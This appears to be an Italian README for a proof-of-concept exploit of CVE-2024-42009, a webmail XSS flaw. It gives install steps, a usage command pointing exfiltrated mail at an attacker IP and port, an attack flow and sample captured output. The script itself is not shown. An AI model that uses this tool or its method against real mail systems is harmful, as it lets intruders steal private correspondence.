CVE-2024-42009 PoC: Listener di Cattura Email & Exploit XSS

Panoramica

Questa Proof of Concept (PoC) dimostra un exploit per CVE-2024-42009, sfruttando una vulnerabilità di cross-site scripting (XSS) per estrarre email da un'applicazione webmail target. L'attacco inietta un payload malevolo che esfiltra il contenuto delle email verso un listener controllato dall'attaccante.

Caratteristiche

• Sfrutta una vulnerabilità XSS per catturare il contenuto delle email.
• Utilizza un listener HTTP per ricevere e decodificare le email esfiltrate.
• Automatizza l'iniezione del payload e l'esfiltrazione.

Requisiti

• Python 3.x
• Dipendenze richieste (installazione tramite pip):
  root@kitploit:~

  pip install requests beautifulsoup4
  

Utilizzo

Esegui lo script con gli argomenti necessari:

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

Parametri

Flusso dell'Attacco

1. Avvia Listener: Lo script avvia un server HTTP per catturare le email estratte.
2. Inietta Payload Malevolo: Il payload XSS viene inviato tramite un'email appositamente creata.
3. Attiva l'Esecuzione: Quando la vittima apre l'email, il payload si esegue e invia il contenuto dell'email al server dell'attaccante.
4. Cattura e Decodifica: Il contenuto dell'email estratto viene decodificato e visualizzato.

Esempio di Output

[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)

[+] Captured Email Content:
Hello, this is a test email!

Dichiarazione di non responsabilità

Non rivendico credito/proprietà/divulgazione della vulnerabilità e di tutti gli exploit corrispondenti ospitati in questo repository GitHub - Tutti i crediti al ricercatore che l'ha scoperta; ho solo creato una POC per replicare la vulnerabilità basandomi sui dati provenienti da internet. Questa PoC è solo a scopo educativo e di ricerca. Test non autorizzati su sistemi senza consenso sono illegali. Usala in modo responsabile!